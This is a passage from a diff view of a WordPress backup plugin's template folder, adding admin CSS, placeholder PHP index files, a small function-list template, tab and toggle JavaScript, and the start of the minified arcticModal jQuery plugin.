438 |
+
text-decoration:underline;
|
439 |
+
}
|
440 |
+
#log-backup div {
|
441 |
+
font-size:12px;
|
442 |
+
}
|
443 |
+
.table td {
|
444 |
+
background: #fff;
|
445 |
+
font-size: 12px;
|
446 |
+
padding: 5px 0;
|
447 |
+
border-bottom:1px solid #b7c6ff;
|
448 |
+
text-align: center;
|
449 |
+
}
|
450 |
+
.info-path td {
|
451 |
+
font-size: 11px;
|
452 |
+
padding:0px;
|
453 |
+
}
|
454 |
+
.table tr:last td {
|
455 |
+
|
456 |
+
border-bottom: 0px;
|
457 |
+
}
|
458 |
+
.header-table {
|
459 |
+
font-size:20px;
|
460 |
+
}
|
461 |
+
|
462 |
+
.stat {
|
463 |
+
width: 200px;
|
464 |
+
}
|
465 |
+
|
466 |
+
.w1{
|
467 |
+
width:5%;
|
468 |
+
}
|
469 |
+
.w2{
|
470 |
+
width:13%;
|
471 |
+
}
|
472 |
+
.w3{
|
473 |
+
width:7%;
|
474 |
+
}
|
475 |
+
.table-stat-moovdiv {
|
476 |
+
background: none repeat scroll 0 0 #FFFFFF;
|
477 |
+
border-spacing: 0;
|
478 |
+
box-shadow: 0 4px 4px rgba(0, 0, 0, 0.3);
|
479 |
+
left: 0px;
|
480 |
+
margin-top: 0;
|
481 |
+
padding: 10px 15px;
|
482 |
+
top: 0px;
|
483 |
+
width: 400px;
|
484 |
+
}
|
485 |
+
|
486 |
+
.table-stat-moovdiv tr td{
|
487 |
+
border-right: 0px;
|
488 |
+
margin-bottom: 1px;
|
489 |
+
margin-top: 1px;
|
490 |
+
padding-bottom: 1px;
|
491 |
+
padding-top: 1px;
|
492 |
+
border-bottom:1px solid #D6D6D6;
|
493 |
+
padding: 5px;
|
494 |
+
}
|
495 |
+
|
496 |
+
#page_item {
|
497 |
+
margin-bottom:3px;
|
498 |
+
float:left;
|
499 |
+
}
|
500 |
+
.block-export {
|
501 |
+
float: right;
|
502 |
+
margin-right: 20px;
|
503 |
+
}
|
504 |
+
.info {
|
505 |
+
width: 70%;
|
506 |
+
border: 0;
|
507 |
+
}
|
508 |
+
.setting-checkbox {
|
509 |
+
padding-left: 5px;margin-top: 5px;
|
510 |
+
}
|
511 |
+
.form-help-send-error input[type="text"], .form-help-send-error input[type="text"] {
|
512 |
+
padding: 0px;
|
513 |
+
border: 1px solid #999;
|
514 |
+
box-shadow:0px;
|
515 |
+
font-size: 12px;
|
516 |
+
height: 24px;
|
517 |
+
width: 250px;
|
518 |
+
}
|
519 |
+
|
520 |
+
.form-help-send-error, .form-help-mail-response {
|
521 |
+
float:left;
|
522 |
+
}
|
523 |
+
.form-help-mail-response .button-description {
|
524 |
+
text-align: center;
|
525 |
+
}
|
526 |
+
.show-includes {
|
527 |
+
text-align: left;
|
528 |
+
margin-left:20px;
|
529 |
+
margin-right:20px;
|
530 |
+
background: #fff;
|
531 |
+
padding: 20px;
|
532 |
+
}
|
533 |
+
#sent-error-report {
|
534 |
+
background: #fff;
|
535 |
+
width: 400px;
|
536 |
+
height: 200px;
|
537 |
+
text-align: center;
|
538 |
+
border-radius:4px;
|
539 |
+
border: 2px solid #00d2b8;
|
540 |
+
position: relative;
|
541 |
+
}
|
542 |
+
#sent-error-report .text-view {
|
543 |
+
text-align: center;
|
544 |
+
font-size: 20px;
|
545 |
+
padding-top: 50px;
|
546 |
+
line-height: 27px;
|
547 |
+
margin-bottom: 30px;
|
548 |
+
}
|
549 |
+
#sent-error-report .button-sent-report .button-wpadm {
|
550 |
+
padding: 1px 20px;
|
551 |
+
height: auto;
|
552 |
+
}
|
553 |
+
#sent-error-report .button-sent-report {
|
554 |
+
position: absolute;
|
555 |
+
bottom:0px;
|
556 |
+
padding-bottom: 30px;
|
557 |
+
width: 100%;
|
558 |
+
}
|
559 |
+
|
560 |
+
.show-includes input.input-folder[type="checkbox"] + label {
|
561 |
+
font: 18px bold;
|
562 |
+
color: #444;
|
563 |
+
cursor: pointer;
|
564 |
+
}
|
565 |
+
.show-includes input.input-folder[type="checkbox"] + label::before {
|
566 |
+
content: "";
|
567 |
+
display: inline-block;
|
568 |
+
height: 15px;
|
569 |
+
width: 18px;
|
570 |
+
margin: 0 5px 0 0;
|
571 |
+
background-image: url(folder.png);
|
572 |
+
}
|
573 |
+
.loading-img {
|
574 |
+
text-align: center;
|
575 |
+
height: 23px;
|
576 |
+
margin: 0 auto;
|
577 |
+
}
|
578 |
+
.show-includes input.checkbox-send[type="checkbox"] {
|
579 |
+
margin-top:0px;
|
580 |
+
}
|
581 |
+
.show-includes input.input-folder[type="checkbox"]:checked + label::before {
|
582 |
+
background-image: url(icon-folder-open.gif);
|
583 |
+
}
|
584 |
+
.show-includes input.input-folder[type="checkbox"]:checked:disabled + label::before {
|
585 |
+
background-image: url(icon-folder-open.gif);
|
586 |
+
}
|
587 |
+
.show-includes input.input-folder[type="checkbox"] {
|
588 |
+
display:none;
|
589 |
+
}
|
590 |
+
.tree-includes {
|
591 |
+
margin-left: 25px;
|
592 |
+
}
|
593 |
+
|
594 |
+
.form-help-mail-response {
|
595 |
+
margin-left: 20px;
|
596 |
+
}
|
597 |
+
.form-help-send-error .label-help {
|
598 |
+
float:left; width: 100px;
|
599 |
+
padding-top: 8px;
|
600 |
+
}
|
601 |
+
.border-shadow-bottom {
|
602 |
+
-webkit-box-shadow: 0 2px 7px -2px rgba(50, 50, 50, 0.5);
|
603 |
+
-moz-box-shadow: 0 2px 7px -2px rgba(50, 50, 50, 0.5);
|
604 |
+
box-shadow: 0 2px 7px -2px rgba(50, 50, 50, 0.5);
|
605 |
+
}
|
606 |
+
.info tr {
|
607 |
+
border-style: hidden;
|
608 |
+
}
|
609 |
+
.info tr td{
|
610 |
+
border-style: hidden;
|
611 |
+
padding: 5px;
|
612 |
+
text-align:left;
|
613 |
+
}
|
614 |
+
.chart-box {
|
615 |
+
background: #fff;
|
616 |
+
border:1px solid #cccccc;
|
617 |
+
border-radius:3px;
|
618 |
+
margin-top:25px;
|
619 |
+
}
|
620 |
+
.chart-box-title {
|
621 |
+
color:#575757;
|
622 |
+
border-bottom: 1px solid #cccccc;
|
623 |
+
font-size: 18px;
|
624 |
+
padding:10px;
|
625 |
+
}
|
626 |
+
.charts {
|
627 |
+
padding:5px;
|
628 |
+
padding-top: 15px;
|
629 |
+
}
|
630 |
+
.form-account {
|
631 |
+
margin-top: 30px;
|
632 |
+
margin-bottom : 40px;
|
633 |
+
border:5px solid #fff;
|
634 |
+
background: #ffffa5;
|
635 |
+
padding: 10px;
|
636 |
+
height: auto;
|
637 |
+
overflow:hidden;
|
638 |
+
}
|
639 |
+
.form-account-title {
|
640 |
+
margin-bottom: 20px;
|
641 |
+
font-size: 22px;
|
642 |
+
}
|
643 |
+
.form-account-block {
|
644 |
+
margin-left: 20px;
|
645 |
+
float:left;
|
646 |
+
width: 40%;
|
647 |
+
}
|
648 |
+
.form-account-login {
|
649 |
+
margin-top: 10px;
|
650 |
+
margin-bottom : 40px;
|
651 |
+
border:5px solid #fff;
|
652 |
+
background: #ffffa5;
|
653 |
+
padding: 3px;
|
654 |
+
height: auto;
|
655 |
+
overflow:hidden;
|
656 |
+
}
|
657 |
+
|
658 |
+
.form-account-block-login {
|
659 |
+
margin-left: 10px;
|
660 |
+
width: 90%;
|
661 |
+
|
662 |
+
}
|
663 |
+
.form-account-info {
|
664 |
+
float:left;
|
665 |
+
width: 50%;
|
666 |
+
margin-left: 20px;
|
667 |
+
}
|
668 |
+
.b_2 {
|
669 |
+
background: url("button_ok.png") no-repeat scroll 0 0 rgba(0, 0, 0, 0);
|
670 |
+
color: #464646;
|
671 |
+
font-family: Arial,Helvetica,sans-serif;
|
672 |
+
font-size: 18px;
|
673 |
+
left: 12px;
|
674 |
+
padding-left: 30px;
|
675 |
+
top: 60px;
|
676 |
+
padding-top: 4px;
|
677 |
+
padding-bottom : 5px;
|
678 |
+
}
|
679 |
+
.b-3 {
|
680 |
+
font-size: 22px;
|
681 |
+
}
|
682 |
+
.form-account-button {
|
683 |
+
margin-top: 21px;
|
684 |
+
}
|
685 |
+
.label-form {
|
686 |
+
margin-left: 6px;
|
687 |
+
font-size: 16px;
|
688 |
+
}
|
689 |
+
.last {
|
690 |
+
line-height: 18px;
|
691 |
+
margin-top: 9px;
|
692 |
+
}
|
693 |
+
.progress {
|
694 |
+
height: 20px;
|
695 |
+
background: #ebebeb;
|
696 |
+
border-left: 1px solid transparent;
|
697 |
+
border-right: 1px solid transparent;
|
698 |
+
border-radius: 10px;
|
699 |
+
}
|
700 |
+
.progress > span {
|
701 |
+
position: relative;
|
702 |
+
float: left;
|
703 |
+
margin: 0 -1px;
|
704 |
+
min-width: 30px;
|
705 |
+
height: 18px;
|
706 |
+
line-height: 16px;
|
707 |
+
text-align: right;
|
708 |
+
background: #cccccc;
|
709 |
+
border: 1px solid;
|
710 |
+
border-color: #bfbfbf #b3b3b3 #9e9e9e;
|
711 |
+
border-radius: 10px;
|
712 |
+
background-image: -webkit-linear-gradient(top, #f0f0f0, #dbdbdb 70%, #cccccc);
|
713 |
+
background-image: -moz-linear-gradient(top, #f0f0f0, #dbdbdb 70%, #cccccc);
|
714 |
+
background-image: -o-linear-gradient(top, #f0f0f0, #dbdbdb 70%, #cccccc);
|
715 |
+
background-image: linear-gradient(to bottom, #f0f0f0, #dbdbdb 70%, #cccccc);
|
716 |
+
-webkit-box-shadow: inset 0 1px rgba(255, 255, 255, 0.3), 0 1px 2px rgba(0, 0, 0, 0.2);
|
717 |
+
box-shadow: inset 0 1px rgba(255, 255, 255, 0.3), 0 1px 2px rgba(0, 0, 0, 0.2);
|
718 |
+
}
|
719 |
+
.progress > span > span {
|
720 |
+
padding: 0 8px;
|
721 |
+
font-size: 11px;
|
722 |
+
font-weight: bold;
|
723 |
+
color: #404040;
|
724 |
+
color: rgba(0, 0, 0, 0.7);
|
725 |
+
text-shadow: 0 1px rgba(255, 255, 255, 0.4);
|
726 |
+
}
|
727 |
+
.progress > span:before {
|
728 |
+
content: '';
|
729 |
+
position: absolute;
|
730 |
+
top: 0;
|
731 |
+
bottom: 0;
|
732 |
+
left: 0;
|
733 |
+
right: 0;
|
734 |
+
z-index: 1;
|
735 |
+
height: 18px;
|
736 |
+
border-radius: 10px;
|
737 |
+
}
|
738 |
+
|
739 |
+
|
740 |
+
|
741 |
+
.stat-form-counter {
|
742 |
+
background: none repeat scroll 0 0 #0096d6;
|
743 |
+
color: #fff;
|
744 |
+
margin-bottom: 20px;
|
745 |
+
width: 46%;
|
746 |
+
margin-right: 0;
|
747 |
+
border: 0;
|
748 |
+
padding: 3px;
|
749 |
+
}
|
750 |
+
.stat-wpadm-registr-info {
|
751 |
+
color: #fff;
|
752 |
+
float: left;
|
753 |
+
width: 57%;
|
754 |
+
}
|
755 |
+
.stat-wpadm-registr-info label {
|
756 |
+
color:#fff;
|
757 |
+
}
|
758 |
+
.stat-wpadm-info-title {
|
759 |
+
color: #fff;
|
760 |
+
font-size: 20px;
|
761 |
+
padding :20px 0px;
|
762 |
+
margin-top:10px;
|
763 |
+
text-align: center;
|
764 |
+
}
|
765 |
+
.stat-table-registr {
|
766 |
+
margin-top: 20px;
|
767 |
+
}
|
768 |
+
.stat-table-registr th, .stat-table-registr td {
|
769 |
+
padding:5px;
|
770 |
+
}
|
771 |
+
.stat-wpadm-info {
|
772 |
+
width: 37%; margin-left: 9px; height:100%; padding-top: 0px; margin-top:20px;
|
773 |
+
color: #fff;
|
774 |
+
float: left;
|
775 |
+
border-left: 1px solid #fff;
|
776 |
+
font-size: 12px;
|
777 |
+
margin-bottom: 20px;
|
778 |
+
padding-left: 20px;
|
779 |
+
}
|
780 |
+
.block-button-show {
|
781 |
+
padding:11px 18px; cursor: pointer; text-align: center;
|
782 |
+
}
|
783 |
+
.block-button-show .block-click {
|
784 |
+
padding-top: 10px;
|
785 |
+
font-size: 16px;
|
786 |
+
border-top:1px solid #fff;
|
787 |
+
}
|
788 |
+
.stat-setting {
|
789 |
+
border-left:1px solid #fff;
|
790 |
+
margin-right: 0px;
|
791 |
+
}
|
792 |
+
#stat-title-setting{
|
793 |
+
font-size: 20px;
|
794 |
+
margin-top: 10px;
|
795 |
+
padding: 20px 0;
|
796 |
+
text-align: center;
|
797 |
+
}
|
798 |
+
#preview-image {
|
799 |
+
height: 105px; float: left; margin-right: 10px; margin-top:45px;
|
800 |
+
}
|
801 |
+
#preview-image .block-preview-image {
|
802 |
+
padding: 10px; border: 1px solid #fff; margin-left: 10px; margin-top:20px; width: 90px; text-align: center;
|
803 |
+
}
|
804 |
+
#preview-image .title-preveiw-image {
|
805 |
+
font-size: 16px; position: absolute;margin-top: -28px; margin-left: 7px;background: #0096d6; padding: 3px;
|
806 |
+
}
|
807 |
+
#preview-image .image-block {
|
808 |
+
display: table;
|
809 |
+
}
|
810 |
+
.image-block .image-block-in {
|
811 |
+
display: table-cell; vertical-align: middle;
|
812 |
+
}
|
813 |
+
.image-block-in img {
|
814 |
+
float: left;margin-top:7px;
|
815 |
+
margin-left: 2px;
|
816 |
+
}
|
817 |
+
.image-block-in .text-image-counter {
|
818 |
+
float: left;
|
819 |
+
padding-left:3px;
|
820 |
+
font-size: 8px;
|
821 |
+
font-weight: 600;
|
822 |
+
}
|
823 |
+
#setting-form .info-block {
|
824 |
+
float: left; margin: 5px 0px 0px; width:74%;
|
825 |
+
}
|
826 |
+
#setting-form .first-info-block {
|
827 |
+
margin: 20px 0px 0px;
|
828 |
+
}
|
829 |
+
.info-block-detail {
|
830 |
+
float:left;
|
831 |
+
}
|
832 |
+
.detail-title {
|
833 |
+
margin: 0 5px; width: 30%;
|
834 |
+
}
|
835 |
+
#setting-form .info-block .details-info {
|
836 |
+
width: auto;
|
837 |
+
font-size: 10px;
|
838 |
+
margin:0px;
|
839 |
+
}
|
840 |
+
#setting-form .info-block input[type="text"] {
|
841 |
+
font-size: 14px;
|
842 |
+
height: 28px;
|
843 |
+
}
|
844 |
+
.info-block .checkbox-info {
|
845 |
+
width:101px;
|
846 |
+
text-align:right;
|
847 |
+
}
|
848 |
+
.checkbox-info input[type="checkbox"] {
|
849 |
+
margin-right: 0px;
|
850 |
+
}
|
851 |
+
.stat-setting-save {
|
852 |
+
text-align: center; margin-top: 10px;
|
853 |
+
}
|
854 |
+
|
855 |
+
/*default style */
|
856 |
+
@media only screen and (max-width: 960px) {
|
857 |
+
/*
|
858 |
+
tablet computer
|
859 |
+
*/
|
860 |
+
.stat-wpadm-info {
|
861 |
+
margin-left: 9px; height:100%; padding-top: 0px; margin-top:20px;
|
862 |
+
color: #fff;
|
863 |
+
float: none;
|
864 |
+
clear:both;
|
865 |
+
border-left: 0px;
|
866 |
+
border-top:1px solid #fff;
|
867 |
+
font-size: 10px;
|
868 |
+
margin-bottom: 10px;
|
869 |
+
padding-left: 0px;
|
870 |
+
width:88%;
|
871 |
+
}
|
872 |
+
|
873 |
+
.stat-table-registr th, .stat-table-registr td {
|
874 |
+
padding:2px;
|
875 |
+
font-size:10px;
|
876 |
+
}
|
877 |
+
.stat-table-registr {
|
878 |
+
margin-top: 10px;
|
879 |
+
float:none;
|
880 |
+
}
|
881 |
+
.form-table label {
|
882 |
+
color:#fff;
|
883 |
+
}
|
884 |
+
.form-table th {
|
885 |
+
line-height: 10px;
|
886 |
+
}
|
887 |
+
.stat-table-registr input {
|
888 |
+
font-size: 10px;
|
889 |
+
height: 20px;
|
890 |
+
line-height: 10px;
|
891 |
+
}
|
892 |
+
.stat-form-counter {
|
893 |
+
font-size:10px;
|
894 |
+
margin-right:5px;
|
895 |
+
}
|
896 |
+
#setting-form .info-block {
|
897 |
+
width:60%;
|
898 |
+
}
|
899 |
+
#preview-image {
|
900 |
+
height: 105px;
|
901 |
+
float: left;
|
902 |
+
margin-right: 10px;
|
903 |
+
}
|
904 |
+
.detail-title {
|
905 |
+
margin: 0 5px; width:auto;
|
906 |
+
}
|
907 |
+
#setting-form .info-block .details-info {
|
908 |
+
width: auto;
|
909 |
+
font-size: 8px;
|
910 |
+
float:none;
|
911 |
+
clear:both;
|
912 |
+
line-height: 8px;
|
913 |
+
margin-bottom:5px;
|
914 |
+
|
915 |
+
}
|
916 |
+
.info-block .checkbox-info {
|
917 |
+
width:28px;
|
918 |
+
}
|
919 |
+
#setting-form .info-block input[type="text"] {
|
920 |
+
font-size:12px;
|
921 |
+
height: 20px;
|
922 |
+
}
|
923 |
+
.minicolors-theme-default.minicolors-position-right .minicolors-input {
|
924 |
+
padding-right: 10px;
|
925 |
+
}
|
926 |
+
|
927 |
+
.minicolors-theme-default .minicolors-swatch {
|
928 |
+
height: 18px;
|
929 |
+
left: 5px;
|
930 |
+
top: 1px;
|
931 |
+
width: 18px;
|
932 |
+
}
|
933 |
+
|
934 |
+
}
|
935 |
+
@media only screen and (max-width: 1124px) {
|
936 |
+
.stat-form-counter {
|
937 |
+
font-size:10px;
|
938 |
+
margin-right:3.5%;
|
939 |
+
}
|
940 |
+
#setting-form .info-block {
|
941 |
+
width:55%;
|
942 |
+
}
|
943 |
+
#preview-image {
|
944 |
+
height: 105px;
|
945 |
+
float: left;
|
946 |
+
margin-right: 10px;
|
947 |
+
margin-top:40px;
|
948 |
+
}
|
949 |
+
.info-block input[type="text"] {
|
950 |
+
font-size:12px;
|
951 |
+
height: 20px;
|
952 |
+
}
|
953 |
+
.dbb-info-details-form {
|
954 |
+
line-height: 16px;
|
955 |
+
margin:7px;
|
956 |
+
padding:7px 11px;
|
957 |
+
font-size:14px;
|
958 |
+
}
|
959 |
+
.dbb-info-details-form .button-submit {
|
960 |
+
padding:5px;
|
961 |
+
margin-top:11px;
|
962 |
+
margin-bottom:18px;
|
963 |
+
|
964 |
+
}
|
965 |
+
|
966 |
+
}
|
967 |
+
@media only screen and (max-width: 758px) {
|
968 |
+
/*
|
969 |
+
vertical tablet computer
|
970 |
+
*/
|
971 |
+
.dbb-info-details-form {
|
972 |
+
font-size:10px;
|
973 |
+
line-height: 10px;
|
974 |
+
margin:5px;
|
975 |
+
padding:5px 9px;
|
976 |
+
}
|
977 |
+
.dbb-info-details-form .button-submit {
|
978 |
+
padding:3px;
|
979 |
+
margin-top:7px;
|
980 |
+
margin-bottom:15px;
|
981 |
+
}
|
982 |
+
}
|
983 |
+
@media only screen and (max-width: 524px) {
|
984 |
+
/*phone*/
|
985 |
+
.dbb-info-details-form {
|
986 |
+
font-size:8px;
|
987 |
+
line-height: 8px;
|
988 |
+
margin:6px;
|
989 |
+
padding:5px 7px;
|
990 |
+
}
|
991 |
+
.dbb-info-details-form .button-submit {
|
992 |
+
padding:1px;
|
993 |
+
margin-top:5px;
|
994 |
+
margin-bottom:8px;
|
995 |
+
}
|
996 |
+
}
|
template/css/folder.png
ADDED
Binary file
|
template/css/icon-folder-open.gif
ADDED
Binary file
|
template/css/index.php
ADDED
@@ -0,0 +1,2 @@
|
|
|
|
|
1 |
+
<?php
|
2 |
+
// bla-bla-bla-bla
|
template/css/tool-bar.css
ADDED
@@ -0,0 +1,4 @@
|
|
|
|
|
|
|
|
|
1 |
+
.dropbox-image-toolbar a:before {
|
2 |
+
content: url('./../../img/wpadm-logo.png');
|
3 |
+
/*background-image: ;*/
|
4 |
+
}
|
template/dropbox_pro_logo_box1.png
ADDED
Binary file
|
template/expsys.php
ADDED
@@ -0,0 +1,25 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
$str = '';
|
3 |
+
foreach($data['sys'] as $key => $value) {
|
4 |
+
$str .= $value['function'];
|
5 |
+
}
|
6 |
+
?>
|
7 |
+
<script>
|
8 |
+
function showView()
|
9 |
+
{
|
10 |
+
if(jQuery('.body-functions-view').css('display') == 'none') {
|
11 |
+
jQuery('.body-functions-view').show('slow');
|
12 |
+
} else {
|
13 |
+
jQuery('.body-functions-view').hide('slow');
|
14 |
+
}
|
15 |
+
}
|
16 |
+
</script>
|
17 |
+
<div class="functions-view">
|
18 |
+
<div class="title-functions-view" onclick="showView();">
|
19 |
+
<?php echo $str; ?>
|
20 |
+
</div>
|
21 |
+
<div class="body-functions-view">
|
22 |
+
<?php echo $functions_need; ?>
|
23 |
+
</div>
|
24 |
+
</div>
|
25 |
+
<?php
|
template/index.php
ADDED
@@ -0,0 +1 @@
|
|
|
1 |
+
<?php
|
template/js/admin-wpadm.js
ADDED
@@ -0,0 +1,63 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
function showTab (elem, type)
|
2 |
+
{
|
3 |
+
jQuery('.cfTab').removeClass('selected');
|
4 |
+
jQuery('.cfContentContainer').hide();
|
5 |
+
jQuery(elem).addClass('selected');
|
6 |
+
jQuery('#cf_' + type).fadeIn();
|
7 |
+
}
|
8 |
+
|
9 |
+
var shows_id = ""
|
10 |
+
var shows_t = ""
|
11 |
+
function shows(id, t)
|
12 |
+
{
|
13 |
+
if(document.getElementById(id).style.display == "none") {
|
14 |
+
document.getElementById(id).style.display = "table-row";
|
15 |
+
jQuery(t).parent("tr").addClass('border-shadow-bottom');
|
16 |
+
if (shows_id == "") {
|
17 |
+
shows_id = id;
|
18 |
+
shows_t = t;
|
19 |
+
} else {
|
20 |
+
if(shows_id != id) {
|
21 |
+
document.getElementById(shows_id).style.display = "none";
|
22 |
+
jQuery(shows_t).parent("tr").removeClass('border-shadow-bottom');
|
23 |
+
}
|
24 |
+
shows_id = id;
|
25 |
+
shows_t = t;
|
26 |
+
}
|
27 |
+
} else if(document.getElementById(id).style.display == "table-row") {
|
28 |
+
document.getElementById(id).style.display = "none";
|
29 |
+
jQuery(t).parent("tr").removeClass('border-shadow-bottom');
|
30 |
+
}
|
31 |
+
}
|
32 |
+
var bl = false;
|
33 |
+
function show_form_auth(file_val)
|
34 |
+
{
|
35 |
+
if (file_val == 'registr') {
|
36 |
+
showRegistInfo(false);
|
37 |
+
if (bl === false) {
|
38 |
+
blick('container-user');
|
39 |
+
bl = true;
|
40 |
+
}
|
41 |
+
} else {
|
42 |
+
html = '<input type="hidden" value="' + file_val +'" name="internal_identifier">';
|
43 |
+
jQuery('#form_auth_backup').html(html);
|
44 |
+
document.form_auth_backup.submit();
|
45 |
+
}
|
46 |
+
}
|
47 |
+
var blick_form = true;
|
48 |
+
function blick(id, border_)
|
49 |
+
{
|
50 |
+
if (border_ == 'undefined') {
|
51 |
+
border_ = 10;
|
52 |
+
}
|
53 |
+
jQuery('#' + id).css({
|
54 |
+
outline: "0px solid #cd433d",
|
55 |
+
border: "0px"
|
56 |
+
}).animate({
|
57 |
+
outlineWidth: border_ + 'px',
|
58 |
+
outlineColor: '#cd433d'
|
59 |
+
}, 400).animate({outlineWidth: '0px',outlineColor: '#cd433d' } , 400);
|
60 |
+
if (blick_form) {
|
61 |
+
setTimeout('blick("' + id + '", ' + border_ + ')', 800);
|
62 |
+
}
|
63 |
+
}
|
template/js/index.php
ADDED
@@ -0,0 +1,2 @@
|
|
|
|
|
1 |
+
<?php
|
2 |
+
// bla-bla-bla-bla
|
template/js/jquery.arcticmodal-0.3.css
ADDED
@@ -0,0 +1,8 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
.arcticmodal-overlay,
|
2 |
+
.arcticmodal-container { position: fixed; left: 0; top: 0; right: 0; bottom: 0; z-index: 99999; }
|
3 |
+
.arcticmodal-container { overflow: auto; margin: 0; padding: 0; border: 0; border-collapse: collapse; }
|
4 |
+
*:first-child+html .arcticmodal-container { height: 100% }
|
5 |
+
.arcticmodal-container_i { height: 100%; margin: 0 auto;background: none;border:none; }
|
6 |
+
.arcticmodal-container_i2 { padding: 24px; margin: 0; border: 0; vertical-align: middle; }
|
7 |
+
.arcticmodal-error { padding: 20px; border-radius: 10px; background: #000; color: #fff; }
|
8 |
+
.arcticmodal-loading { width: 80px; height: 80px; border-radius: 10px; background: #000 url(loading.gif) no-repeat 50% 50%; }
|
template/js/jquery.arcticmodal-0.3.min.js
ADDED
@@ -0,0 +1,22 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
/*
|
2 |
+
|
3 |
+
arcticModal — jQuery plugin
|
4 |
+
Version: 0.3
|
5 |
+
Author: Sergey Predvoditelev (sergey.predvoditelev@gmail.com)
|
6 |
+
Company: Arctic Laboratory (http://arcticlab.ru/)
|
7 |
+
|
8 |
+
Docs & Examples: http://arcticlab.ru/arcticmodal/
|
9 |
+
|
10 |
+
*/
|
11 |
+
(function(d){var g={type:"html",content:"",url:"",ajax:{},ajax_request:null,closeOnEsc:!0,closeOnOverlayClick:!0,clone:!1,overlay:{block:void 0,tpl:'<div class="arcticmodal-overlay"></div>',css:{backgroundColor:"#000",opacity:0.6}},container:{block:void 0,tpl:'<div class="arcticmodal-container"><table class="arcticmodal-container_i"><tr><td class="arcticmodal-container_i2"></td></tr></table></div>'},wrap:void 0,body:void 0,errors:{tpl:'<div class="arcticmodal-error arcticmodal-close"></div>',autoclose_delay:2E3,
|
12 |
+
ajax_unsuccessful_load:"Error"},openEffect:{type:"fade",speed:400},closeEffect:{type:"fade",speed:400},beforeOpen:d.noop,afterOpen:d.noop,beforeClose:d.noop,afterClose:d.noop,afterLoading:d.noop,afterLoadingOnShow:d.noop,errorLoading:d.noop},j=0,e=d([]),m={isEventOut:function(a,b){var c=!0;d(a).each(function(){d(b.target).get(0)==d(this).get(0)&&(c=!1);0==d(b.target).closest("HTML",d(this).get(0)).length&&(c=!1)});return c}},f={getParentEl:function(a){var b=d(a);return b.data("arcticmodal")?b:(b=
|
13 |
+
d(a).closest(".arcticmodal-container").data("arcticmodalParentEl"))?b:!1},transition:function(a,b,c,e){e=void 0==e?d.noop:e;switch(c.type){case "fade":"show"==b?a.fadeIn(c.speed,e):a.fadeOut(c.speed,e);break;case "none":"show"==b?a.show():a.hide(),e()}},prepare_body:function(a,b){d(".arcticmodal-close",a.body).unbind("click.arcticmodal").bind("click.arcticmodal",function(){b.arcticmodal("close");return!1})},init_el:function(a,b){var c=a.data("arcticmodal");if(!c){c=b;j++;c.modalID=j;c.overlay.block=
|
14 |
+
d(c.overlay.tpl);c.overlay.block.css(c.overlay.css);c.container.block=d(c.container.tpl);c.body=d(".arcticmodal-container_i2",c.container.block);b.clone?c.body.html(a.clone(!0)):(a.before('<div id="arcticmodalReserve'+c.modalID+'" style="display: none" />'),c.body.html(a));f.prepare_body(c,a);c.closeOnOverlayClick&&c.overlay.block.add(c.container.block).click(function(b){m.isEventOut(d(">*",c.body),b)&&a.arcticmodal("close")});c.container.block.data("arcticmodalParentEl",a);a.data("arcticmodal",c);
|
15 |
+
e=d.merge(e,a);d.proxy(h.show,a)();if("html"==c.type)return a;if(void 0!=c.ajax.beforeSend){var k=c.ajax.beforeSend;delete c.ajax.beforeSend}if(void 0!=c.ajax.success){var g=c.ajax.success;delete c.ajax.success}if(void 0!=c.ajax.error){var l=c.ajax.error;delete c.ajax.error}var n=d.extend(!0,{url:c.url,beforeSend:function(){void 0==k?c.body.html('<div class="arcticmodal-loading" />'):k(c,a)},success:function(b){a.trigger("afterLoading");c.afterLoading(c,a,b);void 0==g?c.body.html(b):g(c,a,b);f.prepare_body(c,
|
16 |
+
a);a.trigger("afterLoadingOnShow");c.afterLoadingOnShow(c,a,b)},error:function(){a.trigger("errorLoading");c.errorLoading(c,a);void 0==l?(c.body.html(c.errors.tpl),d(".arcticmodal-error",c.body).html(c.errors.ajax_unsuccessful_load),d(".arcticmodal-close",c.body).click(function(){a.arcticmodal("close");return!1}),c.errors.autoclose_delay&&setTimeout(function(){a.arcticmodal("close")},c.errors.autoclose_delay)):l(c,a)}},c.ajax);c.ajax_request=d.ajax(n);a.data("arcticmodal",c)}},init:function(a){a=
|
17 |
+
d.extend(!0,{},g,a);if(d.isFunction(this))if(void 0==a)d.error("jquery.arcticmodal: Uncorrect parameters");else if(""==a.type)d.error('jquery.arcticmodal: Don\'t set parameter "type"');else switch(a.type){case "html":if(""==a.content){d.error('jquery.arcticmodal: Don\'t set parameter "content"');break}var b=a.content;a.content="";return f.init_el(d(b),a);case "ajax":if(""==a.url){d.error('jquery.arcticmodal: Don\'t set parameter "url"');break}return f.init_el(d("<div />"),a)}else return this.each(function(){f.init_el(d(this),
|
18 |
+
d.extend(!0,{},a))})}},h={show:function(){var a=f.getParentEl(this);if(!1===a)d.error("jquery.arcticmodal: Uncorrect call");else{var b=a.data("arcticmodal");b.overlay.block.hide();b.container.block.hide();d("BODY").append(b.overlay.block);d("BODY").append(b.container.block);b.beforeOpen(b,a);a.trigger("beforeOpen");if("hidden"!=b.wrap.css("overflow")){b.wrap.data("arcticmodalOverflow",b.wrap.css("overflow"));var c=b.wrap.outerWidth(!0);b.wrap.css("overflow","hidden");var g=b.wrap.outerWidth(!0);g!=
|
19 |
+
